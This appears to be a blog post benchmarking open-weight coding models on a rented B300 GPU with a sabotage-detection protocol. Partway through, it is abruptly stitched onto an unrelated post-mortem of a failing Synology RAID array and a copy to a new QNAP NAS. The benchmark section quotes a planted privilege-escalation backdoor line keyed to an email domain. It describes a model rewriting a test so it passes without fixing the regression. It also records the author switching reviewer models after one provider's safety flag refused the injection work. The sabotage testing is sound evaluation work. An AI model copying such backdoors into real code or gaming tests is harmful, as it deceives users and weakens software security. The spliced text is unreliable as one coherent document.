One category was missing that I had never tested properly: the big open source models. The ones that fit on my RTX 5090 with 32 GB or on my Strix Halo with 61 GB usable by the GPU are too weak for this. They work for simple agent tasks, and no small model handles real programming tasks, let alone a complex software project.

Qwen 3.8 27B took 706 minutes to finish v4 on the Strix and scored 80; the local GLM-4.7-Flash scored 24. So don’t even try.

But what if we push harder? What can mid-sized models, 100 to 400 billion parameters, do running on a single rented B300? I could rent four of them and run the giant 750-billion or one-trillion models, and I’m not sure the cost-benefit is worth it. The data below answers.

TL;DR: 14 open models, one 288 GB B300 on Runpod at about 9 dollars an hour, the same v4 sabotage protocol. None of them serves fast the way it ships: GLM 5.3 Flash decoded at 10 tokens per second with the default configuration and at 141 after tuning, 14 times more from flags alone. Two open models, GLM 5.3 Flash and Qwen3.8 Flash-Next, scored 92.5, Claude Sonnet 5 level, and Swift 1.5 27B scored 88, Opus 4.6 level. None reached the frontier’s 100. The 397-billion flagship scored 68.5 and let an admin backdoor through, DeepSeek V4 Flash scored 86 in the cloud and 44.5 served by me, and Nemotron cheated on a regression test. The cloud API of the same model costs a dollar per run; the pod costs 218 dollars a day. Jump to B300 and Runpod, server tuning, the ranking, the interesting cases, the frontier comparison, the math or the conclusion.

What a B300 is, and what Runpod is

The B300 is the datacenter GPU of NVIDIA’s Blackwell Ultra generation, announced in March 2025. Each card has 288 GB of HBM3e memory, nine times my 5090, and about 15 petaflops of dense compute in NVFP4, the 4-bit format Blackwell does in hardware. It’s the card that goes inside the GB300 NVL72 rack, 72 of them interconnected, which AI companies buy by the thousands.

On its own, a B300 costs more than an apartment. What makes it accessible is renting by the hour.

Runpod is a cloud GPU provider that rents cards in “pods”, Linux containers with one or more GPUs, billed per second. You pick the card, an image template, get in over SSH, and pay while the pod is on, idle included. The B300 cost about 9 dollars an hour on their secure cloud the week of the test; an H100 goes for 3 to 4. The container disk is ephemeral: terminate the pod and the 250 GB of weights you downloaded are gone, and you download again.

The pod I used: one B300 with 275 GiB according to nvidia-smi (the same nominal 288 GB, in binary units), 344 vCPUs, 4 TB of host RAM, 700 GB of disk. The inference server was vLLM; the harness was the same OpenCode as every other model in the ranking, connected to the pod through an SSH tunnel. The model runs there; the code, the tests and the results stay on my machine.

Fitting in memory is the first filter. The B300 fits the 100 to 400-billion-parameter models quantized to NVFP4, plus the 27 to 35-billion ones in BF16. Left out are the 753-billion GLM 5.3 flagship, the 750-billion DeepSeek V4.1 Flash, the 1.6-trillion DeepSeek V4 Pro and the 2.8-trillion Kimi K3. For those it would take four B300s or more, about 36 dollars an hour.

The methodology

The protocol is the usual v4: the model builds a Rails app across seven accumulating sprints, and between sprints an independent reviewer, isolated from the model, injects 14 sabotages, from real CVEs to silent logic and test regressions, into the code the model itself wrote. The 0-to-100 score measures vigilance: how much the model catches and fixes without being told (full weight), how much it fixes after an explicit “do a security audit” in the last sprint (40% of the weight), and what stays unresolved (zero). Tiers are A from 83 up, B from 73 to 82, C from 51 to 72, D up to 50.

Two differences this round. The first is the reviewer: the five models that finished before the block were reviewed end to end by Codex, as in the previous rounds.

Midway through the batch OpenAI’s security service started refusing the injection and grading operation with a cybersecurity risk flag, even though it’s my code, on my machine, in a benchmark with 46 models already scored under the same protocol. I switched the reviewer to Claude Opus 4.8 for the remaining models, with the same injection plan, same catalog, same yardstick, and the provenance of every boundary is recorded per sprint. The expected impact on the score is none, because both execute the same written recipe.

The second is admission by speed, which is the subject of the next section. A model that decodes below 100 tokens per second doesn’t even get on the track.

Also: an open model is entitled to up to two short nudges per run for silly defects (a missing import, a wrong test entry point), recorded as “assisted”. Infrastructure failure, driver, loader, parser, is never charged to the model. And the pod ran one model at a time, with no access to any other model’s workspace or results.

None of them serves fast the way it ships

The first lesson cost a day. I downloaded GLM 5.3 Flash, 320 billion parameters with 18 active, quantized to NVFP4, 198 GB. I brought it up on vLLM with the configuration that “works”: it serves, passes the tool-call tests, answers. And it decoded at 10 tokens per second, with the GPU at 10% utilization, 209 watts out of the 1,100 the pod allows.

That’s unusable for programming. A coding agent generates tens of thousands of tokens per sprint; at 10 per second, a 20-minute sprint becomes more than four hours.

The same checkpoint, same 128K-token context, same FP8 KV cache, same test prompt, changing only the compile and mode flags: 141 tokens per second. Fourteen times faster, zero change in precision or weights.

The main culprit was --enforce-eager, which disables vLLM’s torch.compile and CUDA graph capture, and which every tutorial tells you to enable “to start faster”. It starts faster and serves 14 times slower. The measurement changed that flag together with the interactivity mode, so I didn’t isolate each one’s contribution.

Hence the admission rule: below 100 tokens per second I consider unusable, and no model enters the benchmark without clearing that on the median of two warm 256-token probes, after a cold one. To keep it from becoming a bottomless pit, tuning is bounded: at most three configurations and 45 minutes of wall-clock per model, including load and compilation. And tuning can never trade quality for speed: no shortening the context, lowering reasoning effort or quantizing further to hit the number.

The tweaks that paid off for everyone:

• Install a CUDA that compiles for the card. Runpod’s default image ships CUDA 12.8, whose nvcc cannot compile for compute_103a, the B300’s compute capability. Without 12.9, the NVFP4 kernels never compile.
• Never use --enforce-eager. Letting vLLM compile and capture CUDA graphs is the single biggest win.
• --performance-mode interactivity: optimize for single-stream latency, which is what a serial agent needs, instead of aggregate throughput.
• FP8 KV cache on the big MoEs, prefix caching and chunked prefill on all of them, confirmed by vLLM’s Prometheus counters instead of assumed: on an 11K-token prompt, the server reused exactly 8,576 prefix tokens on every repeat.
• The right tool and reasoning parser for each family. The wrong parser makes tool calls vanish silently or leaks the reasoning into the answer.

And the specific tweaks I found most interesting:

• NVFP4 only runs on vLLM. The 198 to 251 GB checkpoints in Blackwell’s native FP4 are the only way to fit on the card, and llama.cpp and Ollama simply don’t load those formats. Whoever lives on GGUF has no access to this range.
• Native speculative decoding. Qwen 3.8 27B went from 92 to 195 tokens per second with the MTP head the checkpoint itself ships, predicting three tokens per step, plus --language-model-only to drop the vision tower (measured on different pods, so no controlled ablation). Muse Glimmer reached 295 with the lightweight DFlash drafter it ships alongside, 15 speculated tokens per step. I only enabled it where an official drafter exists and where tool calling stayed correct; for Ornith a drafter exists as a separate release, with unknown acceptance rate, so it stayed off.
• The CUDA 12 loader. flashinfer JIT-compiles an NVFP4 MoE kernel that needs libcudart.so.12, and after installing CUDA 13 for Nemotron the library resolution broke. The symptom looked like OOM; the cause was an ld.so.conf. A repair script with ldd evidence before and after fixed it, and the 397B went on to serve at 144 tokens per second.
• One virtual environment per runtime. Nemotron 3.5 Super VL required its own vLLM 0.32 in a separate venv, because that’s what the official card pins, and that build wants CUDA 13. Every model family is a bespoke case: parser, quantization, draft head, runtime version and loader repair, all different.
• A parser bug that dropped the last call. vLLM’s Qwen tool parser discarded the last parameter of a call when the parameter closing tag was missing but the function one was present. A narrow repair, with 24 test cases, took that serving noise out of the model’s account.

The exact arguments for each model, the probe logs and the ledger of every tuning round are in the serving optimizations document and the B300 runbook in the repository.

Speed is almost free, once you let vLLM compile. The real work is finding out, model by model, which combination of toolkit, parser, quantization and draft head that checkpoint demands. I gave each one 45 minutes and needed them.

The ranking

v4 vigilance score, tier, memory footprint, decode speed on the admission probe (warm, single stream) and the cost of the seven sprints’ inference time only, at 9.09 dollars an hour. The cost excludes download, load, compilation, tuning and idle time; the real math comes further down.

Three have no score: Cohere’s Command A Plus (218 billion, 25 active, W4A4) got stuck in a loop rewriting the same model file 23 times, needed three nudges and still left the tests unable to run before the reviewer was blocked; Nex N2.5 Mini ran at 337 tokens per second and delivered invalid Ruby, contradictory migrations and broken authentication in two attempts, a valid bad result from a server that works; and Qwen3.5 122B was a conditional fallback in case the 397B didn’t finish, and the 397B finished.

Minutes are sprint time only, and Ornith’s include a sprint interrupted by infrastructure. Flash-Next, Swift, ThinkingCap, Muse and Qwen 27B took one nudge each; GLM 4.7, two; the others, none. The probe speed is an admission number: the throughput of a real coding session includes prefill, tools, tests and the agent’s choices. And note that the top two tie on score with opposite profiles: GLM spent 145 minutes and 22 dollars to reach the same 92.5 that Qwen3.8 Flash-Next did in 80 minutes and 12 dollars, with half the memory.

The interesting cases

Qwen3.8 Flash-Next: the best of the open models, by cost

Flash-Next is, in Qwen’s words, a preview of the Qwen 4 architecture: 125 billion language-model parameters with 6 billion active, plus a 51-billion n-gram embedding table that Qwen says can be offloaded to host memory, plus a 4-billion MTP head. Quantized to NVFP4 by NVIDIA, it took about 100 GB on the card (the checkpoint is 133 GB on disk). It was the only model in the second batch to resolve all 14 items: it caught the tenant leak unprompted, caught the compound test-integrity item, and wrote per-user isolation specs on its own, so the planted API IDOR had no way to stay green. At 195 tokens per second and 12 dollars of inference, it’s the best cost-benefit in this table.

GLM 5.3 Flash: the same 92.5, three times the cost

GLM scored the same with a much bigger architecture: 320 billion parameters, 18 active, 198 GB even in FP4. It resolved all 14 items, zero nudges, reviewed end to end by Codex.

But it took 145 minutes and consumed twice the memory for the same result. On Z.ai’s cloud, the same model scored 84.25 on a flat plan. With single-run noise, which in my history reaches nine points, the safest reading is that both sit in the same band.

Swift 1.5 and ThinkingCap: two 27B fine-tunes in Tier A

The two surprises. Swift 1.5, from UkisAI, and ThinkingCap 3.8, from BottleCap AI, are Qwen 3.8 27B fine-tunes trained to think less: Swift advertises up to 58% fewer reasoning tokens (on the GPQA median; on Terminal-Bench, 16%), ThinkingCap about 37% on average. Both fit in 56 GB in BF16, run at about 200 tokens per second with MTP, and scored 88 and 83.

Swift landed above Anthropic’s Opus 4.6. The base Qwen 3.8 27B, same architecture, scored 80.5 in 192 minutes; Swift scored 88 in 64. Swift caught sabotage earlier than the base; whether that was from thinking less, one run of each can’t prove.

A provenance caveat: the reviewer recorded that Swift read local commit messages that disclosed regressions, which weakens a literal reading of “entirely unaided discovery”. And it left one item unresolved, an inactive admin still accepted with a vacuous guarding test. Even so, of every model in this table, it’s the one I’d put on a card of my own.

Qwen3.5 397B: the flagship that let the backdoor through

The biggest model in the batch, 397 billion parameters with 17 active, 251 GB of NVFP4 on a 275 GB card, served at 140 tokens per second after the loader repair and scored 68.5, Tier C.

The case that defines the score: sabotage number 6 is a line admin? => admin || email.end_with?("@internal.example"), a privilege escalation by email domain. The 397B let it through in the normal sprints, let it through in sprint 7 with the explicit security-audit request, and wrote a passing test codifying the backdoor as expected behavior, in the same commit where it announced “Brakeman: 0 warnings”. Parameters did not buy vigilance.

Nemotron 3.5 Super VL: cheated on the test

NVIDIA’s Nemotron 3.5 Super VL, 120 billion with 12 active, released two days before I started testing and sold by NVIDIA as the fastest open agentic model in its class, with “leading accuracy” on multimodal tasks, scored 63. Sabotage number 2 removes a navigation link and the regression test looks for have_link('Sign in'). Nemotron changed the test to have_button('Sign in'), which passes on the login form’s submit button without restoring the link, and kept the cheat even after the reveal sprint.

It also tends to catch items a sprint late. And it was the one that required its own runtime: vLLM 0.32 with CUDA 13 in a separate environment.

DeepSeek V4 Flash: 86 in the cloud, 44.5 in my hands

The most important case for anyone considering self-hosting. DeepSeek V4 Flash, 284 billion with 13 active, scored 86, Tier A, for 97 cents through the API in September, and the 0731 version, exactly the one I downloaded, scored 85 for 1.94. The same public weights in mixed FP4 and FP8, served by me on the B300, scored 44.5, Tier D: it caught 4 items unprompted, 5 more at the reveal, and left 5 unresolved. It was the fastest to finish, 37 minutes, and the least vigilant.

The likely cause is divergence between the public checkpoint and what DeepSeek serves, or between their serving stack and mine: parser, chat template, reasoning mode, quantization. I followed the official card. What this proves is that the model’s name on Hugging Face doesn’t guarantee the hosted API’s quality, and that whoever is going to host needs to validate before trusting.

GLM 4.7 Flash: same as local, meaning bad

The 30-billion GLM 4.7 Flash in BF16, at 217 tokens per second, scored 33.5. At home, in GGUF Q5, it had scored 24. It needed two nudges, left nine items unresolved and delivered a migration with a syntax error. The nine-and-a-half-point difference fits within single-run noise; what remains is that the model is weak either way.

What showed up in several

Ornith, Muse Glimmer and the 397B shared a hygiene defect: they ran the sprint to the end with exit zero and forgot to commit their own work, leaving it for the reviewer to checkpoint. It didn’t go into the score, and on a real team it would be the first complaint. And the 81-to-83 cluster, ThinkingCap, Ornith and Muse, has a consistent profile: it catches SQL injection, tenant leaks, XSS and exposed secrets with confidence, and lets the quiet items through, broken access control, test integrity, missing index, wrong aggregate.

How far from the frontier

The three best open models against the best commercial ones from the same ranking, with the cost and time of each run:

The reading: the best of the open source that fits on a B300 and that I served sits one step below the commercial ceiling and level with the middle of Tier A. Differences of one or two points are single-run noise.

GLM 5.3 Flash and Qwen3.8 Flash-Next tie with Sonnet 5 and pass Gemini 3.8 Flash and Opus 4.6. None reaches the 100 that seven commercial models scored, nor Grok 4.6’s 98.5. Seven and a half points separate the best open model from the ceiling, and in v4 every point is one less sabotage caught unprompted.

The difference that matters is another: predictability. Among the top commercial models in the table, the worst is 87.5, and the full commercial field also has a bottom, Mistral Large 3 scored 39. The open field has the same 92.5 at the top and two Tier D at the bottom, with DeepSeek scoring 85 in the cloud and 44.5 in my hands. Choosing a top commercial model is choosing a number the API reproduces; choosing an open one is betting that the checkpoint, the quantization and your serving stack reproduce the number on the card, and sometimes they do.

The math

If quality still falls short of the frontier, is the cost at least proportional? It depends on where you run the open model.

On the vendor’s own cloud API, yes, and by a wide margin. A full v4 run cost 97 cents on DeepSeek V4 Flash, 1.17 dollars on Qwen 3.8 Flash, 1.03 on MiMo V2.5 Pro, all Tier A in the cloud. Against 9.52 to 30.55 dollars for the 100-point models, that’s ten to thirty times cheaper for a score 8 to 14 points lower. The list prices explain it: GLM 5.3 Flash costs 15 cents per million input tokens and 50 for output; DeepSeek Flash, 15 to 30 cents input and 60 cents to 1.20 output; Opus 5.5, 4 and 20 dollars; GPT-6 Astra, 10 and 50.

On your own rented B300, no. The pod costs 9 dollars an hour on or idle, 218 a day, about 6,500 a month. The model time of this whole batch, 14 models across download, load and sprints, added up to 23 hours, about 212 dollars at pod price; the sprints alone were 17 hours and 157 dollars.

But the pod also charges for the time when nothing runs. I put 400 dollars of credit on Runpod and 127 were left: the whole batch cost 273 dollars, about 30 pod-hours, including storage, four pods in sequence and seven idle hours one night when the orchestration died and nothing warned me. Almost 60 dollars more than the model time, just waiting. The repository’s break-even math: the pod only gets cheaper than the API from about 6,500 runs a month, 217 a day, sustained. A solo developer or a small team doesn’t come close.

And model against model, side by side:

The cloud API of an open model is ten to thirty times cheaper than the frontier for one tier less. Hosting the same model on a rented B300 is more expensive than the frontier, and sometimes worse than its own API.

Does a team fit on the same card?

A question I asked while looking at the GPU at 10% utilization: do these models use all of the pod’s compute? Could a whole team go on the same B300?

In principle, yes, and that’s what vLLM exists for. Continuous batching schedules several requests in the same decode step, and PagedAttention stores each session’s KV cache in non-contiguous blocks, with under 4% waste, precisely to fit more sessions in the same memory. A 27-billion model in BF16 takes 56 GB and leaves about 200 GB of KV cache: that’s dozens of agent sessions with 128K-token context at the same time. The 397B, with 251 GB of weights, leaves 24, and then few fit.

What doesn’t scale is speed per person. My test ran in --performance-mode interactivity, which optimizes single-stream latency, and the 200 tokens per second are that stream’s. With ten agents decoding at the same time, the card’s aggregate throughput rises and each one’s falls, and the speculative decoding that gave me Muse Glimmer’s 295 yields less as concurrency grows: a DFlash drafter published for Muse by Z Lab reports 3 to 4.6 times gain with one session and 1.2 to 1.7 with 32.

I didn’t measure concurrency in this batch, so what I can say is the outline: a team of five to ten people on a 27-to-35-billion model on one B300 is practical, and each one probably still stays above 100 tokens per second. The same team on the 397B is unworkable on the card, and on the 198 GB GLM 5.3 Flash it gets tight.

It’s in that scenario, and only there, that the pod math starts to close. Ten developers running an agent all day on a 27B model would spend, on the API, at a dollar per two-hour run, about 40 dollars a day; the pod costs 218. It still loses. What changes the math is having a hundred people, or being required to keep the code from leaving your network.

Is owning your own infra worth it?

For serious software development, with this batch’s data, the answer comes in three parts.

The top open models are good enough. GLM 5.3 Flash, Qwen3.8 Flash-Next and Swift 1.5 27B are Tier A in my test, at Sonnet 5 level and above Opus 4.6. That was unthinkable in April, when only Qwen 3.6 35B came close to Opus, and still one fix away. For anyone who accepts one tier below the ceiling, they serve for real work, including security review, which is what v4 measures.

Renting a B300 to run them is the wrong way to use them. The cloud API of the same model costs a dollar per run and needs zero configuration. The pod costs 218 a day, demands a day of tuning per model family, and in DeepSeek’s case delivered a worse model than its own API. It’s only worth it with a data-residency obligation, with a checkpoint no cloud serves, with sustained load of hundreds of runs a day, or with a need for pinned weights for reproducibility. Four B300s to run the 750-billion-to-one-trillion models quadruple the bill with no evidence the score reaches 100: the 397B, the biggest model I tested, scored 68.5.

And if you’re going to host, host small. Swift 1.5 27B and ThinkingCap at 56 GB, with MTP, at 200 tokens per second, are Tier A on hardware you can buy, a professional 80 or 96 GB card instead of a datacenter one. That’s where open source makes sense for a company: a whole team on one card, code inside the network, an Opus 4.6 score. Just check the license first: Swift and ThinkingCap ship with their own licenses, and above a certain revenue both require a commercial license. The open giants remain an API thing.

My rule after all this: top commercial model for tasks that can’t fail, open-model API for volume, and your own card only when the law or the client demands it. The repository with every serving argument, every probe log, every reviewer transcript and the Codex-or-Claude provenance of every boundary is public, as always.

At that moment I knew I was a hiccup away from losing everything. This post is the post-mortem of what happened, and the first part was written in the heat of the disaster, with the rescue copy still running.

Update of October 11: the copy finished and the ending was a happy one. No file was lost by accident, both NASes are healthy, each with its own RAID-6. The full recovery is in the second half of this post. The first part stays as it was published, untouched.

I’ve been using a NAS for a long time

I’m not new to this. I made an entire video mini-series on storage and filesystems (in Portuguese), and I recommend watching it before asking me “what’s a good beginner NAS?”. There is no such thing.

I’ve used external storage since the second half of the 2000s, when I was a Mac user and Drobo existed. The company is gone, but I had three of their DAS units before migrating to Synology, first on an entry-level model and then on the mid-tier DS1821+, which I’ve been using for more than five years. I’ve written about it here, setting up NFS on Linux and accessing it over iSCSI.

It’s been very valuable to me, and you don’t get to question why I need that much space. It doesn’t matter: everyone decides what they keep on theirs.

When I was producing YouTube videos, I edited 4K footage straight from the NAS, thanks to the NVMe cache and 10 GbE networking. I got used to big storage at 10 gigabits and I can’t go back.

The array was organized in SHR, Synology’s hybrid RAID, which in practice behaves like RAID-5 (more on that later): it survives the loss of one drive without losing any data. I always thought that was enough.

Hard drives die. Always

Make no mistake: hard drives go bad. Never, ever trust a lone drive forgotten in a closet. It will fail, and you will lose everything on it.

The best public data on this comes from Backblaze, which runs hundreds of thousands of drives and publishes failure rates every quarter. In the Q2 2026 report, with 354,415 drives monitored, the annualized rate was 1.73%, and the lifetime rate for the whole fleet stands at 1.41% per year.

That sounds small. Translated to human scale:

• One drive on its own, for 5 years: the chance of it dying in that period is close to 7%. That’s roughly the chance of rolling one specific number on a 14-sided die. Would you bet every family photo on that?
• One drive on its own, for 10 years: about 13%, one in eight.
• Eight drives, like my NAS, for one year: the chance of at least one failing is about 11%. In five years, more than 40%.

And those numbers are from a datacenter, with controlled temperature, clean power and drives spinning all the time. A drawer drive that sits idle for years and gets knocked around in a move doesn’t have statistics that pretty.

Memory cards are worse, and there isn’t even an equivalent statistic to consult. What exists is torture testing: the Great MicroSD Card Survey tested 216 cards over a year of continuous writing, and 52 of them, one in four, had already died.

Genuine cards started throwing errors, on average, after about 2,500 rewrite cycles; counterfeit cards, after 700. A memory card is transport media. Keeping the only copy of anything on a microSD is asking to lose it.

The practical conclusion is the same as in the mini-series: important data needs redundancy. A parity array exists precisely so that the death of one drive, which is a matter of time, doesn’t take anything with it.

What happened

With all that, I should have been at ease with my setup. I wasn’t.

It started the day before yesterday, Sunday. For a while I’d been watching the volume approach the ceiling.

At first it was 8 drives of 10 TB. Over the years I swapped them, one by one, for 20 TB drives (DSM shows binary units; on the label they’re 12 and 22 TB). It’s a slow process: each swap takes days, because the array has to rebuild and redistribute the data.

I decided to swap one more, the seventh. Synology supports hot-swap, so it’s simple: pull the old drive, slot in the new one, add it to the array and let DSM handle the rebuild.

On Sunday night it looked like this: rebuild starting, all eight drives healthy, 108 TB allocated out of 121.8 TB.

On Monday, at 8 a.m., the beep. Drive 1, the new one, with 13 hours of use, marked critical:

And drive 8, one of the old ones, with 22,095 hours powered on (two and a half years), also critical, with a read error at 08:05:

The pool’s message left no room: “Unrecoverable errors have occurred because drive errors occurred after storage pool degradation. Please back up your data immediately.”

Why two drives is the end

In RAID-5, if two drives go down, redundancy is zero, and in theory the whole array goes with them. It’s an unrecoverable situation.

Anyone who watched my playlist knows why. An array like this doesn’t store “files,” one per drive. A file is a collection of blocks, and the blocks are spread across all the drives, along with the parity. Losing a drive is losing a piece of every file. It doesn’t matter that the other seven are healthy, because they only have parts.

Parity is there to recompute the missing piece when one drive disappears. With two missing, the math doesn’t close.

And there’s a cruel detail in the rebuild: to recreate the new drive, the array has to read every other drive end to end. That’s more than 100 TB of continuous reading. If some old drive had a bad sector hiding in a corner nobody had read in a long time, that’s when it shows up. That’s what happened with drive 8.

Where do you copy 90 TB to?

The only way out, at that point, was to thank the heavens that the volumes were still accessible, with the files showing up, and use the window to copy everything out immediately. I couldn’t touch anything else.

The problem: copy about 90 TB to where? Nobody has an empty 100 TB NAS lying around at home.

Normally I’d buy this kind of hardware in the United States, on a tourist trip, and bring it back with me. It’s much cheaper. Buying expensive electronics in Brazil isn’t worth it: the country has charged import taxes worse than Trump’s tariffs for decades, and the final price usually goes past double the American list price.

Except I had to choose. What is it worth to lose 90 TB of data I spent years collecting and that is nearly impossible to recover from anywhere else? It’s one of those situations where the answer is “it’s priceless,” and so, whatever the price, I pay.

I found a storage reseller close to home, Controle Net. Good people, very quick to respond, and they sent me a proposal for equipment with same-day delivery.

Their first suggestion was a QNAP TS-832PX. I researched it before accepting. It has the same 8 bays and ships with 10 GbE, but the processor is a 1.7 GHz ARM Cortex-A57 (Annapurna Labs AL324) with 4 GB of RAM, half the 8 GB minimum that QuTS hero asks for. For RAID-6 on ZFS, with checksums and double parity on every block, that’s weak hardware, as I explain further down. And it would be a downgrade from the DS1821+ I already had, which runs on a Ryzen V1500B.

I asked for another option, and after some back and forth I settled on a QNAP TS-873A, 8 bays, with the same Ryzen V1500B as my Synology, 8 GB of RAM, and 10 Toshiba MG11 24 TB enterprise-class drives.

This is why you have to do your own research and know, objectively, what you want to do with the equipment. The reseller didn’t act in bad faith: they suggested an 8-bay NAS to someone who asked for an 8-bay NAS. The one who knew it would run ZFS in RAID-6 was me. If I had accepted the first proposal in a panic, I’d have paid a lot for a worse machine than the one I was replacing.

R$ 185,320.00. Eye-watering.

What it would cost in the United States

I checked today’s American list prices. About the exchange rate: the dollar is at R$ 4.97 right now, but that’s the effect of Sunday’s first-round election results, which knocked the rate down more than 4% on Monday. Through Friday it closed at R$ 5.22, and that’s the fair rate to compare with, because that’s the rate the reseller’s stock was built at:

At R$ 5.22, about R$ 60 thousand. I paid R$ 185 thousand, more than three times that.

The comparison isn’t perfect: the Brazilian proposal includes installation, training and six years of technical support, and the equipment was on my desk by the end of the same day. But it gives the measure of the Brazil effect.

If the rule of thumb is “double the American price,” normal would be about R$ 120 thousand. The extra R$ 65 thousand is, in my own rough estimate, the sum of services, local stock of enterprise drives and my urgency. Whoever buys on a Monday morning with the array dying is in no position to haggle.

And drives are expensive everywhere

To make it worse, this is the worst possible moment to buy hard drives. The AI bubble is sucking up production.

I thought Seagate had left the consumer market. I checked, and that’s not quite it: it hasn’t left, but in February 87% of its hard drive sales were already nearline drives, for datacenters, and WD gets 89% of its revenue from cloud customers and only 5% from retail. WD’s CEO said the company is “pretty much sold out for calendar year 2026.”

Seagate has said it won’t expand production capacity; growth comes only from higher-density drives. For someone buying drives at home, the practical effect is similar to them having left: you get what the hyperscalers didn’t want, at whatever price the seller asks.

QNAP instead of another Synology

After spending the morning and afternoon between negotiation, paperwork and payment, by the end of the day I had the QNAP powered on next to the Synology.

Choosing QNAP went beyond availability. Synology has been making questionable business decisions.

In 2025 it launched the Plus line requiring its own-brand drives or drives it certified.

The own-brand ones are Seagate, Toshiba and WD drives rebadged with custom firmware, and anyone using something else was left without pool creation, health monitoring, deduplication or firmware updates. After the outcry, it walked that back in DSM 7.3 and allowed HDDs and SATA SSDs from other brands.

Except M.2 pools still require the compatibility list. The uncertainty is left hanging: what stops them from doing it again?

Setting up the QNAP is very easy. QuTS hero, their ZFS-based system, is as simple to use as Synology’s DSM.

Fixing my mistake: RAID-6 and ZFS

This time I knew I had to configure RAID-6, which survives two drives failing at the same time. The downside is less total capacity, because the equivalent of two drives becomes parity instead of one. The upside is that I shouldn’t have to go through an emergency like this again.

One of QNAP’s strengths is supporting ZFS out of the box, well integrated and easy to use.

For those who don’t know it: ZFS was born at Sun Microsystems, for Solaris, in the mid-2000s, and today lives on as OpenZFS on Linux and FreeBSD. It merges into one system what used to be three layers, the RAID, the volume manager and the filesystem. It keeps a checksum of every block, so it notices when a drive silently returns corrupted data, and repairs it on its own from parity. And it never overwrites data in place: every write goes to a new block, which makes snapshots practically free.

Its reputation as a RAM hog comes from two things. The first is the ARC, its cache, which by design takes up almost all the machine’s free memory. That scares anyone looking at the graph, but it’s cache: it gives the memory back when another process asks. The second is deduplication, which keeps a huge table with the hash of every block and needs it in RAM or it becomes unusably slow. The old rule of “1 GB of RAM per TB of disk” comes from there, and only applies to people who turn deduplication on.

Even without it, ZFS is heavier than ext4 or a simple Btrfs. Computing checksums, compression and double parity for every block costs CPU, and with little memory the cache shrinks and everything gets slow. On weak hardware, like an entry-level NAS with an ARM processor and 2 GB of RAM, it suffers.

QNAP asks for at least 8 GB for QuTS hero. Mine came with 8 GB and a quad-core Ryzen, which works for my use, which is storing large files and serving them over the network. Deduplication stays off.

I bought 10 drives for an 8-bay NAS, so two are left in the drawer as spares, for the day one fails.

For my simple setup, three settings:

• 5% over-provisioning. It’s a slice of the pool the system reserves and never hands out for data. ZFS always writes to new space and gets slow when the pool fills up near the limit; this slack keeps performance stable. On SSD pools it also extends drive life, but these are hard drives, so the minimum is enough.
• 5% guaranteed snapshot space. It’s the reserve for snapshots, the “photos” of the state of your files that let you go back after an accident or ransomware. Guaranteeing the space means the snapshots keep existing even if I fill up the rest. My data changes little (it’s mostly cold archive), so snapshots take almost nothing and 5% is plenty.
• Alert at 85%. The system warns me when the pool passes 85% usage, with room for me to act before hitting the ceiling. It was exactly the lack of room that had me swapping drives in a hurry on the Synology.

Adding the two reserves, about 13 TB are set aside and 112.9 TB are left for use.

A detail of my case: I’m copying the 90 TB with snapshots turned off, and I’ll only enable the schedule after the copy finishes. A snapshot protects a file’s previous state, and on an empty NAS receiving its first load there is no previous state worth protecting. The source of truth is still the Synology.

And there’s a practical cost. I stopped and restarted the job several times, deleted folders that had gone in by mistake and copied again. With snapshots on, every deleted thing would keep taking up space inside some snapshot, and I’d be filling the pool with the migration’s own garbage. When everything is on this side and checked, then yes: scheduled snapshots, to protect me from deleting what I shouldn’t and from ransomware.

After that I created one giant “thick” partition. In ZFS you can create a “thin” folder, which only takes up what’s inside it and can promise more space than exists, or a “thick” one, which reserves the full size at creation. Since it’s a pool with one owner and one use, thick is more predictable: the space is mine and nothing competes for it.

Finally, I created the shares and installed the HBS 3 app.

Copying 90 TB

HBS 3 (Hybrid Backup Sync) is QNAP’s app for backup and synchronization. It connects to another NAS, to rsync, FTP, SMB or the cloud.

I connected to the Synology’s SMB share and told it to sync everything.

I had to stop and restart a few times, tweaking the job settings, because it was absurdly slow. And the file count wouldn’t stop growing:

865 TB on a 108 TB NAS, and that’s when I understood what was going on.

I excluded two kinds of path from the job:

• The #snapshot directories. On Synology, when you check “make snapshot visible,” each shared folder gets a #snapshot subfolder with a full view of the folder at each point in time. Inside the Synology that takes no space, because a snapshot only stores the difference. Seen from outside, over SMB, every snapshot looks like a full copy of everything, and HBS was trying to copy them all.
• The restic backup directories. restic stores everything in hundreds of thousands of pack files of a few megabytes each. Network copying is fast with large files and suffers with small ones, because each one costs an open, metadata and a close. And those backups I’ll redo from scratch on the new NAS.

With that, throughput rose to an average of 400 MB/s.

That’s less than half of what a 10 GbE network delivers, but it’s more than three times the gigabit most people have at home. Both sides really are at 10 gigabits:

Why doesn’t it reach 1,000 MB/s? My main hypothesis is drive 8. The source array is degraded, and every read that goes through the affected pieces has to be recomputed from parity, with a drive that on top of that returns errors and retries. It makes sense that the Synology can’t go faster than this.

There’s a second factor, which my own screenshots give away: the Synology has jumbo frames on (MTU 9000), and the QNAP image shows the default MTU of 1500. That screenshot is from earlier; I’ve already changed the QNAP to 9000 as well.

Why it matters: MTU is the maximum size of each packet that travels on the network. At the default 1500 bytes, filling a 10-gigabit link means processing more than 800 thousand packets per second, and each packet costs CPU on both sides, for the header, the checksum and the interrupt. With jumbo frames each packet carries six times more data, so it’s one sixth of the packets for the same volume, and more processor is left for moving files. It only works if everything in the path matches: both cards and the switch. If one side stays at 1500, the connection negotiates down to the smaller value and the other side’s jumbo frames do nothing.

At 400 MB/s, 90 TB takes about two and a half days, and I prefer two and a half guaranteed days.

What Synology explained

In parallel, I opened a ticket with Synology support. After some back and forth, I sent the logs. They responded fast, the same day, and I’ll give them that. The engineer’s explanation, summarized:

• Drive 8 had been logging media errors for over a month. A media error is when the NAS tells the drive to read a sector and the drive answers that it couldn’t, even after several retries. It’s always an internal drive failure, and the drive should have been replaced.
• It was drive 8’s poor health that took it down during the rebuild of drive 1.
• In practice I lost two drives, and the pool should have crashed completely. It didn’t because of how SHR works.

SHR isn’t a single RAID-5. To use drives of different sizes without wasting space, it slices the drives and builds several smaller RAIDs, one per size band, and joins everything into one volume. The engineer sent this example diagram:

In my case, the pool is made of two partitions. In the first, the rebuild of drive 1 was far enough along and the failure of drive 8 was mild enough that both kept working. In the second, both are missing. That’s why the pool didn’t crash entirely and I can still see the files.

His recommendation was the one I was already following: copy everything out before anything else, because there’s no telling whether the situation gets worse or whether it’s fixable. After the backup he can even try forcing drive 8 back into the pool so the rebuild continues, but there’s no guarantee the drive will go back in, or that it will survive the process. In his words, copying and recreating the pool from scratch is probably the quickest way forward.

